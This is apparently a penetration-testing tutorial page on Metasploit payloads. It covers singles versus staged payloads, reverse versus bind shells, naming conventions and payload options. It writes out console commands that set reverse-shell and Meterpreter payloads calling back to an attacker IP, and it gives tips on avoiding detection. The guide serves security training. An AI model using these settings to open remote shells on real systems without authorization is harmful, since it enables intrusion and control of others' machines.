💣 Payloads¶
A payload is the code that executes on the target system after a successful exploit. Choosing the right payload is just as important as choosing the right exploit — the wrong payload can fail silently, get blocked by a firewall, or trigger antivirus detection.
1️⃣ Payload Types¶
Metasploit payloads fall into three fundamental categories:
Singles (Inline Payloads)¶
A single is a self-contained payload — it includes everything needed to perform its action in one piece. No additional network connections are required after the initial delivery.
payload/windows/exec ← Execute a command
payload/linux/x86/shell_reverse_tcp ← Full reverse shell in one payload
payload/windows/adduser ← Add a local user account
Pros: Simple, no staging required, works even if the network drops after initial exploitation. Cons: Larger size — may not fit in exploits with limited buffer space.
Stagers¶
A stager is a small, minimal payload whose only job is to establish a communication channel back to the attacker and then download the stage (the larger, full-featured payload).
Stages¶
A stage is the larger payload downloaded by the stager. It runs entirely in memory and provides the full functionality (e.g., Meterpreter).
Concept
How to tell them apart: In Metasploit's naming convention, a single uses a single / separator (e.g., shell_reverse_tcp), while a staged payload uses two / separators (e.g., meterpreter/reverse_tcp). The word before the second / is the stage, and the word after is the stager.
2️⃣ Naming Convention Breakdown¶
Examples:
| Payload | Type | Description |
|---|---|---|
windows/shell_reverse_tcp |
Single | A full reverse shell in one payload. |
windows/meterpreter/reverse_tcp |
Staged | Stager connects back, downloads Meterpreter. |
windows/x64/meterpreter/reverse_https |
Staged (64-bit) | 64-bit Meterpreter over HTTPS. |
linux/x86/shell/bind_tcp |
Staged | Stager binds a port, waits for connection, downloads shell stage. |
windows/exec |
Single | Executes a single command on the target. |
3️⃣ Reverse vs. Bind¶
Reverse Payloads (reverse_tcp, reverse_https)¶
The target connects back to your machine. You must set up a listener (LHOST + LPORT).
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.14.2 # Your IP
set LPORT 4444 # Your listening port
Use when: - The target can make outbound connections. - There's a firewall blocking inbound connections to the target. - You're on a NAT and can receive connections.
Bind Payloads (bind_tcp)¶
The target opens a port and waits for you to connect to it.
set PAYLOAD windows/meterpreter/bind_tcp
set RHOST 10.10.10.5 # Target IP
set LPORT 4444 # Port the target will listen on
Use when: - The target blocks outbound connections but allows inbound. - You can't receive connections (e.g., strict NAT without port forwarding).
Tip
In most real-world scenarios, reverse payloads are preferred because outbound connections are less likely to be blocked by firewalls than inbound connections to arbitrary ports.
4️⃣ Common Payloads¶
Shell Payloads¶
Provide a basic command shell (cmd.exe on Windows, /bin/sh on Linux):
# Staged
set PAYLOAD windows/shell/reverse_tcp
set PAYLOAD linux/x86/shell/reverse_tcp
# Inline (single)
set PAYLOAD windows/shell_reverse_tcp
set PAYLOAD linux/x86/shell_reverse_tcp
Meterpreter Payloads¶
Provide the advanced Meterpreter session (covered in detail in the Meterpreter page):
# Standard (x86)
set PAYLOAD windows/meterpreter/reverse_tcp
# 64-bit
set PAYLOAD windows/x64/meterpreter/reverse_tcp
# Over HTTPS (encrypted, harder to detect)
set PAYLOAD windows/x64/meterpreter/reverse_https
# Linux
set PAYLOAD linux/x64/meterpreter/reverse_tcp
Command Execution Payloads¶
Execute a single command without establishing a persistent session:
5️⃣ Selecting the Right Payload¶
# After selecting an exploit, show compatible payloads
show payloads
# Filter for specific types
show payloads | grep meterpreter
show payloads | grep reverse_tcp
Decision Matrix¶
| Scenario | Recommended Payload |
|---|---|
| Full post-exploitation needed | meterpreter/reverse_tcp or meterpreter/reverse_https |
| Small buffer space in exploit | shell/reverse_tcp (staged — smaller stager) |
| Egress filtering (only HTTPS out) | meterpreter/reverse_https |
| Target blocks outbound connections | meterpreter/bind_tcp |
| Quick command execution | windows/exec or cmd/unix/reverse_bash |
| Antivirus evasion needed | Consider meterpreter/reverse_https + encoding/evasion |
6️⃣ Payload Options¶
Each payload has its own configurable options:
# View payload-specific options
show options
# Common options:
# LHOST - Your listener IP (for reverse payloads)
# LPORT - Your listener port (default: 4444)
# RHOST - Target IP (for bind payloads)
# ExitFunction - How the payload exits (thread, process, seh, none)
# - "thread" exits just the exploited thread (safest, keeps service running)
# - "process" exits the entire process
Tip
Set ExitFunction to thread whenever possible. This keeps the exploited service running after exploitation, reducing the chance of detection and avoiding service disruption.
7️⃣ Gotchas¶
Note
Architecture mismatch: If the target is 64-bit but you use a 32-bit payload (e.g., windows/meterpreter/reverse_tcp instead of windows/x64/meterpreter/reverse_tcp), the exploit may fail or the session may be unstable. Always match the payload architecture to the target.
Note
Staged payloads require a handler. If you generate a staged payload with MSFVenom and deliver it manually, you must have a multi/handler listening to catch the stage download. Without it, the stager will connect back but then die because there's nothing to serve the stage.
Note
LHOST must be reachable. For reverse payloads, the LHOST must be an IP address that the target can route to. If you're behind a NAT, you need port forwarding or a VPN. Using 0.0.0.0 as LHOST will not work — you need your actual routable IP.
Warning
Payloads execute code on remote systems. Ensure you have explicit authorization before delivering any payload to a target.